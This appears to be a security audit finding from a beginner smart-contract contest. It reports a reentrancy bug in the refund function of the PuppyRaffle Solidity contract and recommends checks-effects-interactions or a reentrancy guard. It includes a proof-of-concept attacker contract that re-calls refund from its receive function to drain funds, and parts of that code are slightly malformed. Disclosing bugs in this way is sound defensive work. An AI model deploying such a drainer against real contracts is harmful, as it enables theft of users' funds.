Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in `refund` function of PuppyRaffle Contract

Summary

The refund function in the provided code is vulnerable to reentrancy attacks.

Vulnerability Details

The vulnerability arises from the order of operations in the refund function. The function first sends the entranceFee to msg.sender using the .sendValue() function. However, this function can trigger a fallback function in the recipient contract, allowing for reentrant calls. After the value is sent, the playerIndex is set to address(0) to mark the player as refunded. This creates a window of opportunity for an attacker to reenter the receive function before the playerIndex is set to address(0).

Proof of Concept

The following is a simplified example of how an attacker can exploit the reentrancy vulnerability:

contract MaliciousContract {
PuppyRaffle private vulnerableContract;
uint256 private index;
uint256 private feeAmount;
constructor(address _vulnerableContract, uint256 _feeAmount) {
vulnerableContract = PuppyRaffle(_vulnerableContract);
feeAmount = _feeAmount;
}
function AttackRaffle() external payable {
// Call the vulnerable contract's refund function
address[] player;
player.push(address(this));
feeAmount = msg.value;
vulnerableContract.enterRaffle{value: feeAmount}(player);
index = vulnerableContract.getActivePlayerIndex(address(this));
vulnerableContract.refund(index);
}
receive() external payable {
// Reenter the vulnerable contract's receive function
if (address(vulnerableContract).balance >= feeAmount){
vulnerableContract.refund(index);
}
}
}

In this proof of concept, the MaliciousContract is deployed and passed the address of the vulnerable contract. When the AttackRaffle function is called, it triggers a reentrant call to the refund function of the vulnerable contract. The receive function in MaliciousContract then reenters the vulnerable contract's refund function, allowing the attacker to drain the contract's balance.

Impact

Allows the attacker to repeatedly call the refund function and drain the contract's balance : Steal of funds.

Tools Used

Manual review.

Recommendations

To mitigate this vulnerability, consider implementing the following measures:

  1. Use the "Checks-Effects-Interactions" pattern to ensure that state changes occur before interacting with external contracts.

  2. Alternatively, consider using a reentrancy guard.

Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.